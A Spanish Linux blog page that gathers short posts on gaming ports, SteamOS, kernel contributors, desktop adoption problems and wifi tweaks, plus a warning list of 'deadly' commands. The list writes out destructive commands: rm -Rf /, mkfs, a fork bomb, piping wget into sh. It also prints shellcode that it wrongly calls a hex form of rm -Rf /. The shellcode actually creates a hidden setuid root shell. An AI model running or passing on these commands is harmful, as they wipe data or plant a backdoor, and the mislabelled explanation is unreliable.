sábado, 4 de enero de 2014

Metro Last Light llegará a Mac y Linux

Los chicos de A4 Games, responsables de la saga Metro, han dado una buena noticia a todos los miembros de la comunidad Linux y a los que gusten de jugar en Mac, ya que la última entrega de la saga llegará a ambas plataformas a través de Steam.
Sí, Metro Last Light llegará vía Steam con todo lo que ello conlleva, que no es poco. ¿Porqué decimos esto? Muy sencillo, porque todos aquellos que ya hayan comprado el título a través de la tienda virtual de Valve en su versión para Windows lo podrán disfrutar, sin recargo alguno, en las versiones para Mac y Linux.
Este movimiento deja patente la flexibilidad del motor gráfico 4A Engine, utilizado en Metro Last Light. Por su parte Deep Silver, publicadora del juego, dejó claro en la GamesCom que la franquicia tiene“buena salud” y que seguirán llegando nuevos títulos.
Finalmente también manifestó su compromiso con llevar la saga en sus futuras entregas a la mayor cantidad de público posible, lo que supone un reconocimiento implícito a las versiones para Linux y Mac de los próximos Metro. Estará disponible para Linux el 10 de septiembre.

¿Quién contribuye al kernel Linux?

La Fundación Linux ha publicado un informe sobre el desarrollo y mayores contribuidores del kernel Linux, el motor del sistema operativo libre usado en superordenadores, en las distribuciones GNU/Linux de escritorio, en dispositivos móviles como Android o en millones de dispositivos embebidos.
El desarrollo del kernel Linux es un proyecto gigantesco que supera las 17 millones de líneas de código al que han contribuido desde 2005, casi 10.000 desarrolladores de 1.000 empresas distintas en lo que se considera la mayor colaboración informática/tecnológica de la historia.
Por contribuidores al kernel Linux, el informe sitúa a los desarrolladores independientes a la cabeza con un 13,6 por ciento del código. La primera empresa sigue siendo Red Hat, seguida de Intel y con IBM o Google en el top 10.
Otro de los datos destacados, confirmando la revolución móvil, es el aumento de la participación en el código del motor de Linux, de fabricantes de chips y desarrolladores especializados en movilidad y sistemas embebidos como Freescale, Linaro, Samsung, Texas Instruments, NVIDIA, Qualcomm y ARM.
La anécdota del informe del estado actual del desarrollo de Linux es la salida de Microsoft como los mayores contribuidores al kernel. El gigante del software (aunque se publicitara lo contrario en alguna ocasión) nunca tuvo gran participación (como era de esperar) en Linux, salvo algunas miles de línea de código para soportar el hipervisor Hyper-V.
No importa. Si revisas la infografía siguiente verás que el kernel Linux está apoyado sobradamente y el crecimiento de desarrolladores que agregan código es espectacular.

Ubuntu Touch 1.0 estará disponible el 17 de octubre

Ubuntu Touch 1.0, la primera versión estable de sistema operativo móvil de Canonical, estará disponible el 17 de octubresegún la información de responsables de la firma.
El no conseguir financiación suficiente (a pesar del récord en este tipo de proyectos crowfunding) para el proyecto de teléfono propio Ubuntu Edge, no ha frenado el desarrollo de la versión móvil derivada de la distribución GNU/Linux Ubuntu, la más popular del sistema libre en el escritorio.
Canonical ha estado actualizando el sistema Ubuntu Touch para los Nexus y ofreciendo herramientas para su instalación, al tiempo que desarrolladores independientes lo han portado para funcionar en docenas de smartphones y tablets con Android.
Un Ubuntu Touch cuya primera versión será lanzada al mismo tiempo que la versión para PCs, Ubuntu 13.10 (nombre en clave Saucy Salamander). El lanzamiento de la versión estable del sistema puede abrir el camino a acuerdos con operadoras o fabricantes de móviles para la utilización del sistema.
¿Puede otro Linux como Ubuntu Touch hacer sombra a Android en movilidad?

Valve presenta el sistema Linux SteamOS


Valve, desarrolladora de juegos y responsable de la plataforma Steam, ha presentado SteamOS, unsistema operativo basado en Linux especializado en ejecución de videojuegos, diseñado para la televisión y el salón del hogar.

“SteamOS combina la sólida arquitectura de Linux con una experiencia de juego creada para la gran pantalla. Estará disponible pronto como un sistema operativo independiente y de forma gratuita para las máquinas del salón de casa”.
Así es la presentación de SteamOSel primero de los anuncios de Valve en una semana en la que también anunciará la Steam Box, un Mini PC para juegos y entretenimiento multimedia en grandes pantallas y que como es obvio, utilizará el nuevo sistema operativo.

Un SteamOS que además de juegos, servirá para películas, series y música según comentan desde Valve: “Estamos trabajando con muchos de los servicios media que ya conoces y amas. Pronto, empezaremos a integrarlos en línea permitiéndote así acceder a tu música y vídeos favoritos con Steam y SteamOS”.
Interesante. Y en un par de días llega la esperada Steam Box, un modelo del que llevamos hablando muchos meses y que se rumorea podría ser un derivado de ‘Piston’, el mini-PC desarrollado por el fabricante Xi3 y que puedes ver en la imagen anterior.

WWiSE para Linux ¿Se acaba el monopolio del Windows PC en juegos?


Audiokinetic ha anunciado un port Linux para WWiSE, una solución de audio middleware muy usada en desarrollo de juegos y medios interactivos.
Los movimientos de Valve en torno a Linux con el lanzamiento del Steam para Linux y los recientes anuncios del SteamOS y el Steam Machines, no están pasando desapercibidos en la industria.
A ello apunta este WWiSE para Linux, la solución de Audiokinetic más conocida en ambientes de desarrollo que en consumo pero de gran importancia por lo que supone de impulso de Linux como plataforma de juego.
Las señales son inequívocas como el anuncio del Mantle de AMD, una API gráfica de bajo nivel que facilitará el desarrollo de nuevas consolas y también los juegos para Linux.
El anuncio de NVIDIA de que está trabajando “muy de cerca” con Valve para mejorar SteamOS sería otra buena noticia para los usuarios del sistema libre, en un aspecto el de videojuegos, quizá en el que Linux se encuentra más retrasado respecto a Windows e incuso para algunos analistas, es uno de los principales problemas para que Linux obtenga mayor cuota de mercado como sistema de escritorio.

System76 Darter UltraThin, portátil potente, táctil y con Ubuntu 13.10


El integrador especializado en equipos Linux, System76, ha presentado nuevo modelo portátil Darter UltraThin, con pantalla táctil de 14 pulgadas, procesador Haswell de Intel y la última versión de la distribución GNU/Linux Ubuntu 13.10.
System76 sigue demostrando que es posible comercializar equipos alternativos a Windows y Mac OS X ofertando un catálogo cada vez más amplio de ordenadores de sobremesa, servidores y portátiles basados en Linux, distribuidos mediante envío de UPS en cuatro continentes, incluyendo países como España, Brasil o México.
El último modelo es el Darter UltraThin, un portátil equipado a la última gracias a los Intel Haswell con posibilidad de montar Core i5 4200U o Core i7 4500U, con gráficos HD 440, hasta 16 Gbytes de memoria RAM DDR3-1600 en doble canal y opciones de almacenamiento con capacidad de hasta 1,2 Tbytes montando dos SSD, en formato SATA y mSATA de Intel, Crucial o Samsung.
Otro de los componentes destacados es su pantalla multitáctil de 14,1 pulgadas con resolución nativa Full HD de 1920 x 1080 píxeles. Su conectividad es la estándar en un equipo portátil incluyendo la norma Wi-Fi más avanzada (ac) en un módulo Centrino con Bluetooth.
El System76 Darter UltraThin pre-instala Ubuntu 13.10 de 64 bits y ofrece 5 Gbytes de almacenamiento en nube gratuito en Ubuntu One. Estará a la venta a partir del 28 de octubre desde899 dólares

Cinco problemas de Linux en el escritorio

Son múltiples los análisis más o menos sesudos que intentan dar respuesta a la cuota de mercado de Linux en los sistemas de escritorio, bajísima teniendo en cuenta la calidad de su código y la gran aceptación del sistema libre en otros sectores tecnológicos.
Poblemas de Linux en el escritorio que contrasta con la situación del sistema en otros campos tecnologicos. Linux arrasa en supercomputación con el 94 por ciento de cuota de mercado y tiene una presencia estimable y ascendente en servidores. Domina en smartphones con Android como protagonista y un buen número de sistemas detrás como Tizen, Firefox OS o Ubuntu Mobile.
En cuanto a su presencia en embebidos es imprescindible para dar salida al mercado mundial y en elsector tabletAndroid superó en el segundo trimestre de 2012 a Apple en cuota de mercado, la primera vez que esto sucede desde el lanzamiento del primer iPad.
¿Por qué esta gran presencia no se traslada al escritorio informático?
Los sistemas operativos basados en Linux suman una cuota de mercado en el escritorio que no alcanza el 2 por ciento frente al monopolio de Windows en el sector con el 90 por ciento y la cuota delMac OS X de Apple que ronda el 7 por ciento.
La explicación a esta cuota de Linux no es sencilla aunque desde betanews, un editor usuario habitual de Linux, intenta aportar al debate los cinco principales problemas que él considera penalizan la cuota de mercado del sistema.

5. Los diferentes gestores de escritorio conducen a una experiencia fragmentada

Un apartado vital porque es el conjunto de software que ofrece la interfaz gráfica de usuario y múltiples funciones que permiten interactuar de forma sencilla con el equipo.
En Linux, además de Gnome y KDE que se disputan el dominio de gestores de escritorio, existen otros cuantos como XFCE, CDE, LXDE, Unity, Cinnamon, que en demasiadas ocasiones ‘guerrean’ entre ellosdividiendo la comunidad en una especie de identidad tribal que no conduce a nada, indica el redactor.
Aunque en la “variedad está el gusto” y esta variedad de elección es la esencia de este sistema libre, para un usuario no versado conduce a una falta de familiaridad y experiencia que penaliza el aumento de uso. Una captura de pantalla de OS X o Windows es inmediatamente reconocible ¿Y los innumerables equipos de escritorio Linux? No tanto, señala.

4. Demasiados gestores de paquetes Linux hacen difícil su aprendizaje

Muchos novatos en Linux comienzan con Ubuntu, convertida en la distribución GNU/Linux más popular. En la interfaz de línea de comandos (poderosa en Linux y que ofrece control y acceso total al equipo), estos usuarios van a aprender los comandos del gestor de paquetes apt, ya que es la que utiliza Ubuntu.
Lamentablemente, estos nuevos usuarios de Linux piensan que apt es el único gestor de paquetes. Hay muchos otros gestores como dpkg, YUM, Pacman o el base RPM. Aunque generalmente el software se entrega en repositorios que facilitan la tarea, estos gestores de paquetes utilizan comandos distintos entre sí lo que puede ser confuso cuando el usuario pruebe otra distribución.

3. Falta de software

Es un tema delicado porque los más puristas de Linux apuntan alternativas maravillosas a los grandes desarrollos existentes en Windows y/o Mac (Gimp para Photoshop o LibreOffice para Microsoft Office) que puede servir para uso básico pero en un ambiente más profesional este software alternativo puede no ser válido. Ejemplos como la edición de vídeo profesional es un ejemplo de la falta de software en Linux, según la opinión de betenews.
Más allá de aplicaciones profesionales, el apartado de videojuegos es otro de los grandes problemas. Son contadas excepciones los juegos nativos para Linux a pesar de poder ejecutar juegos Windows Linux a base de emuladores o en plataformas digitales como Steam donde Valve sí está apostando por la plataforma Linux.

2. Compatibilidad de hardware

Aunque el soporte hardware para Linux ha avanzado muchísimo, este apartado sigue penalizando al sistema libre y son demasiados los dispositivos no soportados, no sólo por controladores sino por la falta de software específico para los mismos.
Esta menor compatibilidad de hardware respecto a Windows o Mac es achacable en buena parte a los propios fabricantes. La baja cuota de mercado de Linux no invita a desarrollar para el sistema y esta falta de desarrollo penaliza su uso en un círculo vicioso.

1. Linus Torvalds es mortal

El ingeniero de software finlandés es el creador del núcleo Linux. Un proyecto gigantesco que supera las 17 millones de líneas de código y en el que han participado casi 10.000 desarrolladores de 1.000 empresas distintas y en el que se basan todas las distribuciones.
Sin embargo, Torvalds es el dueño absoluto como mantenedor principal del kernel. Su inteligencia y destreza es comparable por su comportamiento extravagante y controvertido, con ejemplos como los insultos a los desarrolladores del kernel o a NVIDIA, dicen.
Aunque obviamente sin él Linux no existiría, Torvalds es a la vez un don y una maldición para la comunidad Linux, señalan, preguntándose por lo que ocurrirá cuando no quiera o pueda seguir con el proyecto y la capacidad de su sucesor para liderar un desarrollo como este.
¿Cómo lo ves? ¿Crees que la diversidad de entornos de escritorio o sistemas de paquetes penalizan o forman parte del valor de Linux? ¿Qué ocurrirá sin Linus Torvalds? ¿Convendría buscar un sistema garante del kernel no tan personal? ¿Cómo convencemos a los fabricantes OEM para que apuesten por Linux o al menos lo ofrezcan como opción en equipos nuevos? ¿Crees -como nosotros- que éste es el verdadero problema y menos los entornos gráficos existentes?

Aprenda Linux, como si estuviera en primero

APRENDA LINUX
hola amigos aqui les dejo un libro pdf del año 2000, algo curioso que encontre ,consta de 76 paginas pesa 1,8 mb 



Este tutorial es un manual de referencia para el aprendizaje de Linux, y el manejo de aplicaciones en nuestro propio idioma. Ha sido creado por Javier García de Jalón, Iker Aguinaga y Alberto Mora, y pertenece a la colección: "Aprenda ..., como si estuviera en primero". Está en formato PDF
Comienza con una breve introducción, y continua con el proceso de instalación, y el sistema de archivos en linux. Se repasan los principales entornos gráfico de Linux: XWindows, GNOME y KDE, así como en el manejo de la unidad de comandos, redirecciones y tuberías, pasando por la ejecución de programas y los ficheros de comandos o shell script.


                                                                            DESCARGAR PDF
PESO-1.5 MB
ARCHIVO-WINRAR

depositfiles-http://adf.ly/bdNFi
                                                                               PESO-1.5 MB
ARCHIVO-WINRAR

¿Cómo está programado Linux?

El sistema operativo GNU/Linux -a menudo denominado tan sólo como Linux, que es el nombre del núcleo del SO- hace uso de un buen número de lenguajes de programación en sus distintos componentes. ¿Cuáles son esos lenguajes? Cada tipo de recurso parece tener ciertas preferencias, y es que hay lenguajes más adecuados para unas cosas. Obviamente el lenguaje de programación C sigue siendo la base, pero hay mucho más implicados. 

Para comenzar es conveniente aclarar el apartado de la nomenclatura que muchos medios utilizan (y utilizamos, probablemente por comodidad) a la hora de hablar de este sistema operativo. Linux es realmente es kernel del sistema operativo GNU/Linux, del cual existen literalmente cientos de versiones en forma de distribuciones, cada una con un kernel Linux y una serie de componentes adicionales que las caracterizan.
Linux es realmente el componente principal del sistema operativo, es el verdadero encargado de administrar los recursos del sistema, el núcleo. Este componente se encarga de ir planificando la ejecución de las distintas tareas y les concede cierto tiempo de procesador, memoria, acceso al disco duro y otros subsistemas, etc.
modo comparativo el kernel de Windows es kernel32.dll, pero el sistema operativo integra el Panel de Control, el bloc de notas, defragmentador, Internet Explorer, etcétera. Decir “estoy usando Linux” viene a ser lo mismo que “estoy usando kernel32.dll” en lugar de “estoy usando Windows”, de ahí que los más puristas hagan hincapié en el error.
Habiendo aprendido de qué vamos a hablar ahora toca entrar en materia, ¿qué lenguaje de programación es usado en el kernel de Linux y en GNU/Linux? Vayamos por partes:

1. Kernel y drivers de dispositivos: Tanto los drivers como el kernel funcionan en un nivel realmente bajo de operaciones en el ordenador. Para escribir el kernel del sistema operativo y acceder a las propiedades del hardware tales como los ciclos de la memoria, buses de entrada/salida, etc., se necesita un lenguaje que pueda comunicarse con el hardware con potencia. El kernel Linux hace uso del lenguaje C (aunque en realidad no se trate de un lenguaje de bajo nivel) con una pequeña parte enlenguaje ensamblador.

2. Librerías y utilidades: Las librerías y utilidades básicas del sistema tales como mkdir, chmod, chown, head, tail, chroot, uptime, users también están escritas en lenguaje C.

3. Gestores de paquetes y programas de configuración: Los gestores de paquetes tales como yum, apt, dpkg, etcétera, también están escritos en C, que como veis es la estrella absoluta de los componentes “base” de un sistema GNU/Linux.

4. Entornos de Escritorio y gestores de ventanas: La mayoría de gente usa un entorno de escritorio, y es que a día de hoy poco queda sólo en interfaz de línea de comandos. Los gestores de ventanastales como metacity, kwin están desarrollados en y requieren gcc para ser compilados. El entorno de escritorio, iconos, ventalas, barras de herramientas, etc, están basados en librerías específicas (Qt para KDE, GTK+ para GNOME) y hacen uso del lenguaje mayoritario, C.

5. Aplicaciones gráficas de usuario: Este es el punto donde entran en juego una gran cantidad de lenguajes de programación, dado que básicamente es la capa más alta. Tenemos una gran variedad:  C, Python, Java, Perl y otros. Hay librerías GTK+, Tcl/Tk, Qt que son un frontend gráfico a tareas que corren por detrás en línea de comando.

Configurando Linux para Wifi pobres o débiles

A todos nos has pasado, que llevas la lap a la escuela, o al parque o te conectas a la red del vecino, pero la conexión es tan débil que se vuelve un suplicio ver páginas básicas ya ni que decir descargar o subir archivos ..
Le comparto unos "trucos" para mejorar la respuesta de linux cuando se conecta a redes con mala señal, las instrucciones deberían funcionar en cualquier distribución linux:


1. Cambiar el limite de intentos de conexión:
Código:
 sudo iwconfig wlan0 retry  0
Con esto le decimos al driver de la tarjeta wifi que no gaste tiempo reintentado mantener la conexión y evitar saturar la tarjeta de red. Si no les funciona puede que tengan otra versión iwconfig con lo que el comando correcto sería:
Código:
 sudo iwconfig wlan0 retry  limit 0
Este comando depende del driver y de su tarjeta wifi, asi que no es 100% seguro que funcione.

2. Tunear los algoritmos de recuperación de TCP: Existen maneras de recuperar los paquetes tcp en una red wifi con interferencias o que está saturada de dispositivos, estás ya vienen en el nucleo linux, pero no vienen activadas por default. Así que hay que prenderlas:

Código:
sudo nano /etc/sysctl.conf
Esto abre el archivo de configuración que con controla funciones de bajo nível del kernel.
Pegamos los siguiente
Código:
# TCP stack tweaking for lossy wireless networks
net.ipv4.tcp_frto = 1
net.ipv4.tcp_frto_response = 2
net.ipv4.tcp_low_latency = 1
guardamos con ctrl+w y salimos con ctrl+x

reiniciamos nuestro linux y listo

7 Comandos mortales para Linux

Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo.
Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberían ser evitados:
_________________________________________________________________________________________________________________________

sudo rm -Rf /
Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raíz.
En otras palabras, significa: “Borra todo y MÁTATE!

****** Explicación del comando anterior *****

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podría engañarse incluso a usuarios Linux más experimentados.
_________________________________________________________________________________________________________________________

mkfs.ext3 /dev/sda
Reformatea o elimina todos los archivos del dispositivo mencionado después del comando mkfs.
_________________________________________________________________________________________________________________________

: ( ) { : | : & } ; :
La ya conocida por muchos la bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.
_________________________________________________________________________________________________________________________

cualquier_comando > /dev/sda
Con este comando, se envían bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una pérdida total de datos.
_________________________________________________________________________________________________________________________

wget http://fuente_de_origen_inseguro -O- | sh
Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.
_________________________________________________________________________________________________________________________

mv /home/tudirectoriodeusuario/* /dev/null
Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podrás ver tus archivos de nuevo.

No sabes que distribucion escoger? Aqui hay algo que te puede servir

Hola ESTO AMI ME AYUDO , a quien no le pasó que queria despegarse de windows pero no sabia como. Pues bueno les quiero compartir una pagina que puede resultarles util, solamente con contestar unas cuantas preguntas les mostrará lo que mejor se acomode a nuestras necesidades/exigencias.

Entre los resultados podemos obtener:

Fedora Core
Mandriva
OpenSuSE
Debian
MEPIS
Ubuntu
Kubuntu
Linux Mint
PCLinuxOS
Gentoo
Slackware
Arch Linux
Foresight Linux
                                                            AQUI EL VIDEO